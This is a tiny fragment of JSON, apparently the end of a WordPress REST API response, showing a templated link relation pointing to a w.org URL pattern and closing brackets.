.w.org\/{rel}","templated":true}]}}